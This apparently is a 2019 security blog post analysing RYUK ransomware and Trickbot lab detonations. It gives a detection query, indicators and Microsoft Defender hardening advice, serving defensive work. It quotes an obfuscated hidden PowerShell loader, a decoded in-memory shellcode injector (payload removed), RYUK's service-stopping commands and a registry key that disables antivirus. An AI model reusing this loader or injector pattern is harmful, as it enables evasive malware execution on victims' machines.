Monthly Archives: November 2019

RYUK Ransomware and Trickbot Analysis

This blog post is an informal analysis of RYUK ransomware (MITRE T1486) and Trickbot. There have already been many professional write-ups on RYUK, including FireEye, CrowdStrike, Malwarebytes, Cyberreason, and CheckPoint. In the last 90 days, RYUK has been detected in 14 States across the USA and has been labeled the “Threat of the Quarter” by Center of Internet Security. Internationally, the Mexican state-owned petroleum company Pemex was recently infected by RYUK, along with businesses in Spain and around the world. Just do a search for RYUK in the news for the last 30 days and you’ll find dozens of victims including 110 nursing homes, 400 hospitals, several state and local government – it’s a major crisis.

Many of the organizations that have been hit with RYUK did not ‘threat model’ against APT groups, and it’s a rather unfair fight – like an NFL team beating up on your local high school football team, or a military using laser weapons against a civilian population using pitch forks. According to Coveware, the average RYUK ransom payment is $300,000 USD, and RYUK has earned an estimated 4 million dollars in the last 90 days.

I obtained a copy of RYUK from an infected customer and then used the MDATP Evaluation Lab to examine RYUK behavior. I also obtained a copy of Trickbot for analysis from this website (here).

It was helpful to detonate these two samples separately because it can be confusing to know when one starts and the other ends.

The MDATP evaluation lab recorded every process, registry change, file creation and network communication. I’ve uploaded the reports for download here:

  • Download RYUK_MDATPAnalysis.csv file (here)
  • Download Trickbot_MDATPAnalysis.csv file (here)

My first impression was – this is incredibly complicated. To understand RYUK, you really need a deep understanding of Trickbot (There are two great posts analyzing the behavior (here) and (here). This is because, in the wild, RYUK uses a dropper such as Trickbot or Emotet to disable AV, maintain persistence, steal Chrome & IE Passwords, distribute Ryuk ransomware executable files via Group Policy, and PSEXEC. RYUK by itself is immediately detected by Defender Antivirus as TrojanDropper:PowerShell/Ploty.H and Trojan:Win32/Tiggre!plock which is why it relies upon something like Trickbot or Emotet to disable AV. Crowdstrike reported (here) earlier this month that RYUK has evolved to send wake-on-lan packets to wake up computers that have been shut down.

Trickbot infections can remain undetected for weeks or months until the attackers determine whether or not the victim is worthwhile pursuing according to reporting by Ars Technica. In some cases, the deployment of RYUK is just a diversion to draw attention away from banking/SWIFT transaction fraud.

Trickbot’s initial infiltration uses phishing attachments (like Microsoft Word and Excel) and RDP. Cyberreason observed that Emotet can bring Trickbot into an environment, which can then bring RYUK in.

Trickbot modified the Registry to disable Antivirus. Distribution occurred via PSEXEC and Group Policy Startup, Login, Logoff, and Shutdown scripts. RYUK spread via Group Policy in the attacks against the State of Louisiana as reported by Ars Technica (here), and is therefore similar to how BitPaymer is known to spread via group policy.

Azure ATP detected three lateral movement techniques: Pass-the-ticket, RDP, and SMB file copies to domain controller shares.

There were 5 days between the first Pass-the-ticket to the coordinated distribution of ransomware via Group Policy.

A limited number of target machines performed C2 communication to a single IP address: I suspect this was Trickbot C&C because when RYUK was isolated in a VM by itself, it performed encryption without any external C2 communication. A new Trickbot C&C command “yvjlQIh.exe 8 LAN” was observed (The executable is always random). Other C&C commands have been documented by Fortinet here.

Interesting cleanup command was observed:

rundll32.exe C:\WINDOWS\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:411042507 WinX:0 WinY:0 IEFrame:0000000000000000

PowerShell was encapsulated by Base64 then compressed with GZIP. This GZIP encapsulation ended up being a great way to identify the suspicious PowerShell.

Here is an example:

cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c “if([IntPtr]::Size -eq 4){$b=’powershell.exe’}else{$b=$env:windir+’\syswow64\WindowsPowerShell\v1.0\powershell.exe’};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments=’-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(”a string containing commands”))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))’;$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle=’Hidden’;$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);”


Note: The same command above was embedded as a Windows Service here:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\(Random Value)\ImagePath\


To collect a list of all PowerShell commands using GZIP, the following MDATP Advanced Hunting Query can be used (this sample was submitted to the MDATP GitHub Library here).


    | where EventTime > ago(30d)

    | where ProcessCommandLine has “System.IO.Compression.GzipStream

    | project EventTime, ComputerName, InitiatingProcessFileName, FileName, ProcessCommandLine, MachineId, ReportId


To decompile the GZIP I modified Marcus Gelderman’s PowerShell Script from GitHub (here) to include an additional step to decode Base64.


foreach ($payload




“Decoded: “ ( $enc.GetString( $decompressedByteArray ) |
Out-String )>>




Here is an example of the decoded PowerShell command. Notice each function and parameter is randomized to evade EDR and ML solutions looking for static function strings. However, when I saved this as a TXT file, MDATP instantly recognized it as unsafe and removed the file.

function zQ8wa {

    Param ($al, $ppXta)        

    $qgFCK = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(‘\\’)[-1].Equals(‘System.dll’) }).GetType(‘Microsoft.Win32.UnsafeNativeMethods’)


    return $qgFCK.GetMethod(‘GetProcAddress’, [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qgFCK.GetMethod(‘GetModuleHandle’)).Invoke($null, @($al)))), $ppXta))



function cFG {

    Param (

        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $gM,

        [Parameter(Position = 1)] [Type] $a40 = [Void]



    $zGRY = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(‘ReflectedDelegate’)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(‘InMemoryModule’, $false).DefineType(‘MyDelegateType’, ‘Class, Public, Sealed, AnsiClass, AutoClass’, [System.MulticastDelegate])

    $zGRY.DefineConstructor(‘RTSpecialName, HideBySig, Public’, [System.Reflection.CallingConventions]::Standard, $gM).SetImplementationFlags(‘Runtime, Managed’)

    $zGRY.DefineMethod(‘Invoke’, ‘Public, HideBySig, NewSlot, Virtual’, $a40, $gM).SetImplementationFlags(‘Runtime, Managed’)


    return $zGRY.CreateType()



[Byte[]]$eakcC = [System.Convert]::FromBase64String(“(removed to not uniquely identify client)”)


$cDahn = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll VirtualAlloc), (cFG @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $eakcC.Length,0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($eakcC, 0, $cDahn, $eakcC.length)


$oez = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll CreateThread), (cFG @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$cDahn,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll WaitForSingleObject), (cFG @([IntPtr], [Int32]))).Invoke($oez,0xffffffff) | Out-Null


When isolated by itself, RYUK executed the following commands in the MDATP evaluation lab:

“net.exe” stop “vmickvpexchange” /y
conhost.exe 0xffffffff -ForceV1
net1 stop “vmickvpexchange” /y
“net.exe” stop “sacsvr” /y
net1 stop “sacsvr” /y
“net.exe” stop “samss” /y
net1 stop “samss” /y

About a minute after running RYUK, the ransom page was shown:


For customers who use Microsoft Defender, they can enable the new Anti-Tampering feature to prevent AV from being disabled. Corporate customers can use Intune to make it even harder to disable the Anti-Tampering feature, since it abstracts the ability to turn it off to a separate cloud based management interface (otherwise if the on-premises domain admin is compromised, Anti-Tampering would (Requirements: Windows 10 E5 license, Intune, and Windows 10 1903 or higher).

Microsoft Attack Surface Reduction rules would prevent PSEXEC from launching.

If you are a Microsoft shop, see my other blog article (here) on MDATP best practices for other recommendations.


RYUK has historically been attributed to Lazarus Group, or as FireEye suggests, a dedicated unit APT38 but it could have been shared with a cybercrime group in Russia since the update from June 2019 blacklists the ransomware from infecting Russia. McAfee and CrowdStrike have both indicated possible Russian connections because of this black list. Researchers are sharply divided on attribution, but it is worth noting that reports have previously circulated about APT38 inserting Russian language into code as a false flag. Either way, it’s commonly accepted that nation-states and major cybercrime threat actors have access to RYUK. Some have speculated that RYUK may be sold as ransomware-as-a-service on the Dark Web but I haven’t seen much evidence supporting this.

The United Nations Security Council report states that North Korea is illegally generating revenue through cyberattacks to circumvent UN resolutions (page 52).

Insurance Considerations

For businesses that do not have cybersecurity insurance, check with your insurance company if “Business Interruption Insurance” will cover the ransomware attack since the servers are down and therefore interrupting business.


  • V1.exe
  • V2.exe
  • RyukReadMe.html
  • PSEXESVC.exe
  • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware\1
  • HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\(Random Value)\ImagePath\
  • (Many others – check the

    RYUK_MDATPAnalysis.csv and Trickbot_MDATPAnalysis.csv files for more)


Hash MD5



Hash SHA1



17027688118a848129388a03904f98227e93d100 (as of 11/26/19 still not in Virus Total)

Hash SHA256



Microsoft Defender for Endpoint (MDE) Best Practices

    • Why? The first step in many APT attacks is to use a ‘Dropper’ to disable Antivirus or other security settings via the registry, PowerShell, GPO, etc.
    • This is a Microsoft Defender feature that does not require Windows 10 E5, but if you have E5 then you can leverage Intune to prevent the user from disabling this feature. The benefit of requiring Intune is that it abstracts the ability to disable antivirus to a separate management stack. Otherwise the attacker could use several methods of disabling AV. This advanced feature requires Windows 1903 or higher.
    • This can be enabled in two ways:
      • 1) Globally inside Defender for Endpoint’s advanced feature settings (here). You can also enable Troubleshooting Mode (see docs here) if you need to temporarily disable AV on some devices.
      • 2) Inside Endpoint Manager (aka Intune, at This was previously the only way to control Tamper Protection on a per device/group basis. However, now that option #1 above includes troubleshooting mode, the only reason you would use option 2 is if you had devices you never wanted Tamper protection enabled on (why would you do that anyway?!).
        • a) Using Endpoint Security > Antivirus > Windows Security Experience > TamperProtection (Device)
        • b) Using Intune Device Profiles:
          • Create a profile that includes the following settings:
          • Platform: Windows 10 and later
          • ProfileType: Endpoint protection
          • Settings > Windows Defender Security Center > Tamper Protection
    • ASR Rules are a feature of Windows 10 E3 and Windows 10 E5. The E5 version adds unique rules that are not available in the E3 version.
    • ASR rules can be enabled without MDE, but the benefit of using MDE is the centralized reporting, otherwise the audits would be decentralized in the local event viewer.
    • ASR Rules are branded as part of “Microsoft Defender Exploit Guard” which is a series of Windows 10 security features including Controlled Folder Access, Exploit Protection, and Network Protection.
    • Some of the ASR rules require cloud-delivered protection to be enabled. Read the ASR documentation page to identify important caveats before enabling ASR.
    • The ASR Rule “Executables that don’t meet a prevalence, age, or trusted list criteria” examines .exe, .dll, .scr to determine if they are in an allow-list that MSFT maintains.
    • In General, all rules should be enabled in Audit mode for 30 days so that you can assess the impact before turning them on in production, and then exclude files/paths that are not compatible.
    • ASR rules can be configured using: Microsoft Endpoint Manager (MEM), PowerShell, Group Policy, Microsoft System Center Configuration Manager (SCCM), and MEM OMA-URI.
    • The Microsoft Blog series “Demystifying ASR rules” is a great read.
    • In Endpoint Manager/Intune, you can enable it in either of two ways
      • Option 1) Endpoint Security > Attack surface reduction. Choose an existing ASR rule or create a new one.
      • Option 2) Device configuration – Profiles > Profile name > Endpoint Protection > Microsoft Defender Exploit Guard > Attack Surface Reduction.
    • This is a series of configuration items that submit a new executable or script to cloud. Block at first sight only uses the cloud protection backend for executable files and non-portable executable files that are downloaded from the Internet, or that originate from the Internet zone
    • You can configure this using Intune, SCCM, or Group Policy.
    • In Endpoint Manager/Intune, you can enable it in either of two ways
      • Option 1) Endpoint Security > Antivirus. Choose an existing Policy targeting the Windows 10/11/Server Platform and the profile for Microsoft Defender Antivirus or create a new one.
        • Allow Cloud Protection : Enable
        • Cloud Block Level: High
        • Cloud Extended Timeout: 50 seconds
      • Option 2) Device configuration – Profiles > Profile name > Device restrictions > Windows Defender Antivirus.
        • Cloud-delivered protection: Enable
        • File Blocking Level: High
        • Time extension for file scanning by the cloud: 50
        • Prompt users before sample submission: Send all data without prompting
        • Submit samples consent: Send all samples automatically
  • Enable MDE Sample sharing for all files
    • In Endpoint Manager/Intune, you can enable it in either of two ways
      • Option 1) Endpoint Security > Endpoint detection and response. Choose an existing policy or create a new one.
      • Option 2) Device configuration – Profiles > Profile name > Microsoft Defender ATP (Windows 10) > Sample sharing for all files > Enable
      • Device configuration – Profiles > Profile name > Microsoft Defender ATP (Windows 10) > Expedite telemetry reporting frequency > Enable
    • Create a Role Group in MDE Settings > Permissions > Roles (select a group)
    • Create a MDE machine group, set it to all machines, and assign it to Full – Remediate threats automatically
    • Enable Automated Investigation in MDE Settings > Advanced Features
    • Enable *all* of the MDE Settings > Advanced Features (or as many as you are licensed for, ex: MDI, Intune, MD4CA, etc).
  • Block Manual Intune Unenrollment
    • In Intune, navigate to Device configuration – Profiles > Profile name > Device Restrictions > General > Manual unenrollment > Block
    • In Intune, navigate to Device configuration – Profiles > Profile name > Device Restrictions > General > Direct Memory Access > Enabled
    • Network protection expands the scope of Windows Defender SmartScreen to block all outbound HTTP(s) traffic that attempts to connect to low-reputation sources (based on the domain or hostname).
    • Network Protection is branded as part of “Microsoft Defender Exploit Guard” which is a series of Windows 10 security features including Controlled Folder Access, Exploit Protection, and ASR rules.
    • Network Protection can be enabled without MDE, but the benefit of using MDE is the centralized reporting, otherwise the audits would be decentralized in the local event viewer.
    • In Intune, navigate to Device configuration – Profiles > Profile name > Endpoint Protection > Microsoft Defender Exploit Guard > Network Filtering > Network Protection
  • Enable SmartScreen
    • Already Built-in to Microsoft Edge (and Chromium-Edge)
    • “Windows Defender Browser Protection” is available as an add-in to Chrome (here)
    • You can prevent users from disabling SmartScreen using Endpoint Manager
      Before doing this, have a phased rollout starting with a test group and then a broader pilot group for at least 90 days before going into production.

      • Endpoint Security > Attack Surface Reduction > Create Policy > Application Control
        • Leave App locker application control unconfigured (unless you know what you are doing)
        • Block users from ignoring SmartScreen Warnings: Yes
        • Turn on Windows SmartScreen: Yes
  • Enable EDR Block Mode.
    • Originally, it was assumed this feature was only applicable when Defender was in passive mode behind another AV client. While that is the primary use case for EDR Block mode, Microsoft’s documentation recommends enabling this feature even when Defender is in Active mode.
      “We recommend keeping EDR in block mode on, whether Microsoft Defender Antivirus is running in passive mode or in active mode. EDR in block mode provides another layer of defense with Microsoft Defender for Endpoint. It allows Defender for Endpoint to take actions based on post-breach behavioral EDR detections.”
  • Block Macros (
    • You can configure macro security centrally through or through Endpoint Manager > Apps > Policies for Office apps here:
    • Disable Trust Bar Notification for unsigned application add-ins and block them
    • Disable all Trust Bar notifications for security issues
    • VBA Macro Notification Settings: Enable with “Disable without Notification”
    • Disable VBA for Office applications
    • Block macros from running in Office files from the Internet
      • To avoid problems with users who need valid/trusted Macros, you can enable two additional settings:
        • Allow Trusted Locations on the network
          • Lock down the NTFS and/or Share Permissions to only allow authorized users (admins?) from adding Macros to this path (Ask each Department to provide Macros for review)
        • Trusted Location #1 (through #20)
          • This is where you can specify the network path of where the authorized Macros can run from

I will be updating this blog periodically as I encounter additional settings that are particularly helpful for blocking threats.

Update: @djteller (Tomer Teller) pointed out that the Threat and Vulnerability Management (TVM) feature inside MDE has a Security Recommendations section which includes these recommendations, and many other great ones (69 total). Check it out inside your MDE Tenant here:

One of my customers pointed me to this YouTube Video which shows how some of these hardening settings did against 800 malware samples, click (here) to watch the video. Note: the author was working with the standard version of Windows Defender, and I imagine the four threats that got through would have been blocked if ASR had been enabled (ASR is not available in the free edition of Defender).

Disclaimer: This is for educational purposes only, you assume all risk for testing these in your lab first before deploying to production.